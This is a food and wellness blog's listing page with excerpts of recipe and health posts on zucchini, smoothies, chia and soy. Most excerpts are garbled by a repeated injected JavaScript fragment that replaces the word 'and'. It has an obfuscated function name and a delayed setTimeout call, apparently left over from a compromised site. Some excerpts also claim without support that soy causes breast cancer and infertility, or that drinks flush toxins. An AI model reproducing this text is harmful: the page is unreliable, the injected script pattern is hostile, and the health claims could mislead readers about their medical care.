Zucchini & Basil Soup
inspiration August 7, 2015 Nutrition, Raw, Recipes, Summer, Vegan, Vegetarian no discussions

My garden is overflowing with zucchini & basil this time of year andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am always looking for new ways to enjoy them.  This soup is super easy to throw together.  It can be served …

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OOOdles of Zucchini Noodles

 Summer Bounty If you have been following our blog you know we are sitting on a lot of zuchini up in here.  If you haven’t seen our “Seriously Good Zuchini Bread” check it out here.  The following recipe may be …

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13 Tips to lose Belly Fat

   13 Tips to lose Belly Fat If you follow our blog than you know we don’t subscribe to extreme measures, fad diets, popping pills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quick fixes.  No, none of that will be found …

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Cha Cha Cha “Chia”

Ok, so you already know about it, sort of.  You have heard of it.  Chia, it’s a mega-superfood from the Central andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and South Americas.   You are sold on the health & weight management benefits of …

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Seriously Good Zuchini Bread

When your neighbor shows up with these, a girl has to get busy.  It’s been a zucchini fest in the Y3 test kitchen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and be assured we will be sharing more zuchini recipes.  But, this …

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Top 3 Reasons to Avoid Unfermented Soy

Phytoestrogens:  Soy is higher in these plant-based estrogen’s than any other source andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can lead to breast cancer, infertility, decreased sexual libido andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and uterine fibroids. Goitrogen: Has been shown to …

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Good Morning Sunshine “Smoothie”

Good Morning Sunshine Smoothie This week’s superfood focus is the Goldenberry, aka Gooseberries or Incanberries.  They have been enjoyed for their health properties for thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of years in South America.  Goldenberries contain carotene andom()*5);if (c==3){var …

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Pineapple Ginger Smoothie for Allergy Sufferers

Pineapple & ginger are both known as anti-inflammatories. Bromelain is an enzyme that is found in pineapples. It is sometimes used after sinus surgeries to fight inflammation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it can also be used to thin mucus …

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Peachie Green Smoothie

  Peachie Green Smoothie 2- 3 leaves kale 1 apple ½ peach 2 tablespoons hemp hearts 1 cup coconut water, to thin 2 generous sprinkles of cinnamon Blend + Enjoy.  

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Headache Cure

Headache Cure Sometimes when cleansing the release of toxins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and or the withdrawal of things like caffeine can leave you headachy.  This drink is delicious andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and refreshing andom()*5);if (c==3){var delay …

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